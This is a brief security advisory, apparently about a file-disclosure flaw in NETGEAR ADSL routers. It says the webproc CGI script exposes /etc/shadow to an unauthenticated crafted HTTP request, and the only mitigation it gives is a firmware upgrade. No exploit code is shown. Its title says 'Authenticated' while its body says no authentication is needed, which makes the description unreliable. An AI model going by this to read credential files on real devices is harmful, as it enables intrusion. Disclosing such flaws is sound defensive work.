Authenticated Remote File Disclosure

This vulnerability allows an attacker to bypass authentication and access sensitive files on NETGEAR ADSL routers. The vulnerability exists in the webproc CGI script, which allows an attacker to access the /etc/shadow file without authentication. This can be exploited by sending a specially crafted HTTP request to the vulnerable router.

Mitigation:

Upgrade to the latest version of the firmware.
